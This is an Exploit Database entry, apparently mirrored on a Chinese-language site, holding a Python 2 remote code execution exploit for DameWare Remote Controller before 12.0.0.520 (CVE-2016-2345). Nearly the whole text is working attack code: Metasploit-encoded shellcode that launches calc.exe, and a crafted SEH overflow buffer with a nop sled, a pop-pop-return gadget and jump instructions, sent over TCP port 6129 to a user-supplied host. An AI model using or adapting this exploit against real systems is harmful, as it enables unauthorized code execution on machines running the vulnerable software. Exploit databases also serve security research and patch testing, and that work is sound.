DameWare Remote Controller < 12.0.0.520 - Remote Code Execution

Exploit Database
104 阅读

作者： Securifera

日期： 2016-04-03
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/43059/

# Exploit Title: Dameware Remote Controller RCE

# Date: 3-04-2016

# Exploit Author: Securifera

# Vendor Homepage: http://www.dameware.com/products/mini-remote-control/product-overview.aspx

# Version: 12.0.0.520

# Website: https://www.securifera.com/blog/2016/04/03/fun-with-remote-controllers-dameware-mini-remote-control-cve-2016-2345/

# CVE : CVE-2016-2345

import socket

import sys

import os

import time

import struct

import binascii

import random

# windows/exec - 220 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,

# CMD=calc.exe

sc = ""

sc += "\xba\x01\xa8\x4f\x9e\xd9\xca\xd9\x74\x24\xf4\x5e\x29"

sc += "\xc9\xb1\x31\x31\x56\x13\x03\x56\x13\x83\xee\xfd\x4a"

sc += "\xba\x62\x15\x08\x45\x9b\xe5\x6d\xcf\x7e\xd4\xad\xab"

sc += "\x0b\x46\x1e\xbf\x5e\x6a\xd5\xed\x4a\xf9\x9b\x39\x7c"

sc += "\x4a\x11\x1c\xb3\x4b\x0a\x5c\xd2\xcf\x51\xb1\x34\xee"

sc += "\x99\xc4\x35\x37\xc7\x25\x67\xe0\x83\x98\x98\x85\xde"

sc += "\x20\x12\xd5\xcf\x20\xc7\xad\xee\x01\x56\xa6\xa8\x81"

sc += "\x58\x6b\xc1\x8b\x42\x68\xec\x42\xf8\x5a\x9a\x54\x28"

sc += "\x93\x63\xfa\x15\x1c\x96\x02\x51\x9a\x49\x71\xab\xd9"

sc += "\xf4\x82\x68\xa0\x22\x06\x6b\x02\xa0\xb0\x57\xb3\x65"

sc += "\x26\x13\xbf\xc2\x2c\x7b\xa3\xd5\xe1\xf7\xdf\x5e\x04"

sc += "\xd8\x56\x24\x23\xfc\x33\xfe\x4a\xa5\x99\x51\x72\xb5"

sc += "\x42\x0d\xd6\xbd\x6e\x5a\x6b\x9c\xe4\x9d\xf9\x9a\x4a"

sc += "\x9d\x01\xa5\xfa\xf6\x30\x2e\x95\x81\xcc\xe5\xd2\x7e"

sc += "\x87\xa4\x72\x17\x4e\x3d\xc7\x7a\x71\xeb\x0b\x83\xf2"

sc += "\x1e\xf3\x70\xea\x6a\xf6\x3d\xac\x87\x8a\x2e\x59\xa8"

sc += "\x39\x4e\x48\xcb\xdc\xdc\x10\x22\x7b\x65\xb2\x3a"

port = 6129

if len (sys.argv) == 2:

(progname, host ) = sys.argv

else:

print len (sys.argv)

print 'Usage: {0} host'.format (sys.argv[0])

exit (1)

csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)

csock.connect ( (host, int(port)) )

type = 444.0

buf = struct.pack("I", 4400 ) #Init Version

buf += "\xcc"*4

buf += struct.pack("d", type) #Minor Version

buf += (40 - len(buf)) * "C"

csock.send(buf)

wstr = "\x90" * 0x10 #nop sled

wstr += sc #calc shellcode

wstr += "\x90" * (0x2ac - 0x10 - len(sc))

wstr += "\xeb\x06\xff\xff" #short jump forward

wstr += struct.pack("I", 0x00401161 ) #pop pop return gadget

wstr += "\x90" * 3 #nop

wstr += "\xe9\x6b\xfa\xff\xff" #short jump back to shellcode

wstr += "E" * 0xbc

wstr += ("%" + "\x00" + "c" + "\x00")*5

buf = struct.pack("I", 0x9c44) #msg type

buf += wstr #payload

buf += "\x00" * (0x200) #null bytes

csock.send(buf)

print binascii.hexlify(csock.recv(0x4000)) #necessary reads

print binascii.hexlify(csock.recv(0x4000))

csock.close()